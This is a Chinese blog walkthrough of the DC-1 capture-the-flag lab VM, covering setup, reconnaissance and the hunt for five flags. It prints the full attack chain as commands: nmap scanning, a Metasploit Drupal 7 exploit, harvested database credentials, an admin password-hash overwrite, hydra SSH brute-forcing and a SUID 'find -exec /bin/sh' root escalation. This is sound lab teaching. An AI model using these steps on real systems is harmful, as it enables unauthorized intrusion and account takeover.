【DC系列】DC-1靶场

首先下载DC1的镜像资源:Index of /downloadsicon-default.png?t=N0U7https://www.five86.com/downloads/

下载完成后进行解压,鼠标右击DC-1镜像->打开方式->选择虚拟机。

如下图所示:

输入虚拟机名称和选择虚拟机的存储路径后点击导入。

当出现以下报错信息时直接点击重试即可:

 导入成功后,鼠标右击DC-1虚拟机->设置->网络适配器->nat模式->确定:(虚拟机kali最好也选择nat模式,保证双方在同一网段上)

然后点击开启虚拟机,如果出现报错,点击否即可,

如果出现如下画面则表示启动成功:

 到这里环境就搭建完成了,下面进行渗透测试:
1.信息收集

查看DC1虚拟机的Mac地址:鼠标右击DC-1虚拟机->设置->网络适配器->高级。

打开虚拟机kali->启动终端:

主机发现:nmap -sn 192.168.17.0/24   //注意:此处为你nat模式下的ip网段

得到DC-1的ip地址为:192.168.17.166

nmap -A -p- 192.168.17.166

(-A:使用高级功能进行扫描,即全面扫描;-p-:扫描端口号1-65535,与-p 1-65535相同意思)

通过扫描结果可知端口22,80,111,39206端口是开放的。 

在物理机的火狐浏览器访问192.168.17.166:

通过火狐浏览器的Wappalyzer插件知道网站的CMS是Drupal 7,编程语言是PHP 5.4.45;

利用搜索引擎查找有关Drupal 7的漏洞:inurl:Drupal 7漏洞

 知道该CMS存在漏洞,就轮到美少妇(msf)出场了。

2.漏洞利用

 在kali终端启动msf:msfconsole

查找有关Drupal 7的漏洞:search Drupal 7.x

存在利用模块:use 0 

显示选项:show options

设置远程目标主机的ip:set  rhosts 192.168.17.166   //DC-1的ip地址

开始利用:run或exploit都可以

显示下图则利用成功:

获取普通shell:shell

进入交互式shell:python -c 'import pty; pty.spawn("/bin/bash")'

 列出目录中的文件及子目录的名称:dir

发现flag1.txt,查看该文件:cat flag1.txt

提示寻找CMS的配置文件,利用百度进行搜索:inurl:Drupal 配置文件

 查找settings.php文件:

 find -name 'settings.php'

查看该文件:

cat ./sites/default/settings.php

可以看到flag2和数据库的相关信息(数据库名称:drupaldb,用户名:dbuser,密码:R0ck3t) 

尝试连接数据库:mysql -udbuser -pR0ck3t(-u后给出用户名,-p后给出密码)

使用drupaldb数据库:use drupaldb;

查看数据库的所有表名: show tables;

 发现两个有关users的表:

 

查看users表:select * from users;
发现密码被加密过: 

先退出mysql,查找加密文件:

exit;

找到Drupal的加密脚本:

/var/www/scripts/password-hash.sh

查看该文件,发现是用php语言编写:

可利用php + 加密脚本 + 密码得到加密后的密码:

php /var/www/scripts/password-hash.sh 123456

复制加密后的密码,再次进入数据库,然后将users表admin用户的密码更改为自己加密后的密码:

 update users set pass = "$S$DOp8U3lzGVGwxESLWgcjgnQdtr8DBkUFyz2sJTq12uTAbJKIpk3n" where name = "admin";

然后使用admin:123456(用户名:admin,密码:123456)登录网站:http://192.168.17.166

登录成功后点击Content->flag3。

 提示获取shadow中的内容,看到shadow,又因为DC-1是linux系统,想到的就是/etc/shadow文件。

尝试查看/etc/shadow文件,访问被拒绝, 应该是权限不够。

知识点:

/etc/passwd:存储系统用户的基本信息,所有用户都可以访问

/etc/shadow:存储系统用户的密码等信息,只有root权限才可以访问。

查看/etc/passwd文件,发现有关flag4的信息:

想到利用nmap扫描出来的22端口,开启的是ssh服务,有可能flag4就是ssh的用户名,尝试爆破密码:(启动另外一个kali终端,使用hydra工具进行爆破)

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.17.166 ssh

-l:指定用户名

-P:指定爆破的密码字典

 成功爆破出密码后进行ssh连接:(ssh 用户名@开启了ssh服务的ip地址),输入爆破出来的密码

连接成功后查看当前文件内容:ls

发现flag4.txt,查看该文件:cat flag4

提示使用相同的方法查找或访问根目录中的flag,应该是要进行提权:

这里利用suid进行提权,

查看具有root用户权限的SUID文件:

find / -perm -u=s -type f 2>/dev/null

find / -name index.php -exec "/bin/sh" \;

 成功提权后进入到root目录下,发现最后的flag。

本人第一次写博客,还存在很多问题,各位读者在阅读时若有疑问可在评论区留言。 

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值